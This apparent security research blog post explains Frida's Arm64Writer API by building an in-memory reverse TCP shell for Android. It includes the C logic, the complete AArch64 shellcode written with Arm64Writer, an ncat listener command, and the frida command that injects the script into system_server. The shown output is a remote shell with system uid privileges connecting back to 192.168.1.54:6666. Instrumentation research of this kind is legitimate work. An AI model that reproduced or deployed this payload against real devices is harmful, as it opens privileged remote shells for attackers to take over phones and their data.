Overview

In the first installment of the Frida Engage blog series, we explored the ways in which we could use Frida’s Memory, NativeFunction, and Module API(s) to build a simple ELF parser. In part two of the series we are going to explore and leverage Frida’s new Arm64Writer API to build an in-memory reverse TCP shell.

Arm64Writer

Frida’s 10.4 release included the exposure of its internal C API(s) used to implement Interceptor and Stalker. These API(s) come in a few flavors including Arm64. Even though there is the Arm64Relocator API, which is used for copying instructions from one memory location to another, this blog post will be focused on using the Arm64Writer.

The Arm64Writer, just like its counterparts, creates a new code writer for generating AArch64 machine code written directly to a memory address. Based on Frida’s documentation, this API is really meant to be used within a call to Memory.patchCode() . Memory.pathCode() which gives you the ability to safely write to a chunk of memory.

The Arm64Writer API has implemented a subset of the AArch64 instruction set with a handful of exposed functions. Even if there isn’t a function that handles a specific instruction, the putInstruction() function allows you to write a raw instruction expressed as a JavaScript Number.

Before we dive into the reverse TCP shell implementation, here is some basic Arm64Writer usage.

var impl = Memory.alloc(Process.pageSize); Memory.patchCode(impl, Process.pageSize, function (code) { var arm64Writer = new Arm64Writer(code, { pc: impl }); arm64Writer.putNop(); arm64Writer.putNop(); arm64Writer.putNop(); arm64Writer.flush(); });

Reverse TCP Shell Implementation and Requirements

The goal is to implement the following basic reverse TCP shell using Frida’s Arm64Writer API and other additional API(s).

{ struct sockaddr_in sa; int s; sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("192.168.1.54"); sa.sin_port = htons(6666); s = socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *)&sa, sizeof(sa)); dup2(s, 0); dup2(s, 1); dup2(s, 2); execve("/system/bin/sh", 0, 0); return 0; }

Initially my plan was to implement the entire thing using the Arm64Writer, but I opted to mix and match API(s) instead … because I am lazy. Let’s breakdown what our implementation will consist of.

Use the Memory API in order to build our sockaddr_in structure Instead of calling inet_addr() , I’m going to populate the s.addr member with a pre-converted IP Address We will also fill out the rest of the structure, which includes sin_family and sin_port

API in order to build our structure When creating and writing to the structures like sockaddr_in I always refer to the structure’s definition as my guide into which Frida API(s) I need to use

struct sockaddr_in { u_char sin_len; u_char sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; };

The portion written with Arm64Writer will be the following:

s = socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *)&sa, sizeof(sa)); dup2(s, 0); dup2(s, 1); dup2(s, 2);

In order to call our shellcode, we need to create a naked function using the NativeFunction API This allows us to attach the location of our shellcode in memory to the naked function The naked function will take a single argument defined as a pointer We will pass the pointer to our pre-allocated sockaddr_in structure to the function Our shellcode will take this and pass it as the second argument to the connect() function When we call the native function, our shellcode will be executed

API Finally we will create a new NativeFunction with execv's implementation and call it

Building and Testing the Reverse TCP Shell

My testing environment includes a Nexus 5X running 7.1.2 and Frida 10.6. I’ve attempted to document each instruction that I used within the actual shellcode implementation.

var impl = Memory.alloc(Process.pageSize); Memory.patchCode(impl, Process.pageSize, function (code) { var arm64Writer = new Arm64Writer(code, { pc: impl }); // SUB SP, SP, #0x50 arm64Writer.putSubRegRegImm('sp', 'sp', 0x50); // STP X29, X30, [SP, #0x40] arm64Writer.putStpRegRegRegOffset('x29', 'x30', 'sp', 0x40, 'pre-adjust'); // ADD X29, SP, #0x40 arm64Writer.putAddRegRegImm('x29', 'sp', 0x40); // STR X0, [SP, #0x18] arm64Writer.putStrRegRegOffset('x0', 'sp', 0x18); // MOV W0, #2 arm64Writer.putInstruction(0x52800040); // MOV W1, #1 arm64Writer.putInstruction(0x52800021); // MOV W2, WZR arm64Writer.putInstruction(0x2A1F03E2); arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'socket'), ['w0', 'w1', 'w2']); // STR W0, [SP, #0x10] arm64Writer.putStrRegRegOffset('w0', 'sp', 0x10); // MOV W2, #0x10 arm64Writer.putInstruction(0x52800202); // LDR X1, [SP, #0x18] arm64Writer.putLdrRegRegOffset('x1', 'sp', 0x18); arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'connect'), ['w0', 'x1', 'w2']); // LDR W0, [SP, #0x10] arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10); // MOV W1, WZR arm64Writer.putInstruction(0x2A1F03E1); arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']); // LDR W0, [SP, #0x10] arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10); // MOV W1, #1 arm64Writer.putInstruction(0x52800021); arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']); // LDR W0, [SP, #0x10] arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10); // MOV W1, #2 arm64Writer.putInstruction(0x52800041); arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']); // LDP X29, X30, [SP, #0x40] arm64Writer.putLdpRegRegRegOffset('x29', 'x30', 'sp', 0x20, 'pre-adjust'); // ADD SP, SP, #0x50 arm64Writer.putAddRegRegImm('sp', 'sp', 0x50); // RET arm64Writer.putRet(); armWriter.flush(); });

From my host machine, I start up an ncat listener.

ncat -lvp 6666 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 9603 8D55 E978 5993 7578 FADF DB65 B107 4577 9846 Ncat: Listening on :::6666 Ncat: Listening on 0.0.0.0:6666

Finally we can inject our reverse TCP shell and wait for a connection!

frida -U -n "system_server" -l reverse_shell.js

./run.sh ____ / _ | Frida 10.6.21 - A world-class dynamic instrumentation framework | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ Attaching... [+] Building our sock_addr_in structure [!] [+] Writing our Arm64 shellcode [!] [+] Calling our Arm64 shellcode function [!] [+] Calling execve [!]

ncat -lvp 6666 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 9603 8D55 E978 5993 7578 FADF DB65 B107 4577 9846 Ncat: Listening on :::6666 Ncat: Listening on 0.0.0.0:6666 Ncat: Connection from 192.168.1.71. Ncat: Connection from 192.168.1.71:40286. id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1032(package_info),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock) context=u:r:system_server:s0

You can check out the entire implementation here –> https://github.com/VerSprite/engage/blob/master/js/reverse_shell.js

Wrapping Up

This concludes our introduction into Frida’s Arm64Writer API and all the cool things you can create with it. We are just one post away from wrapping up the Frida Engage blog series. In part three, we will continue to explore more creative ways of utilizing Frida’s power and capabilities.

References

http://infocenter.arm.com/

https://www.frida.re/docs/javascript-api/#memory

https://www.frida.re/docs/javascript-api/#nativefunction

https://www.frida.re/docs/javascript-api/#arm64writer

VerSprite's Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.



Our clients rely on VerSprite's unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.



From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →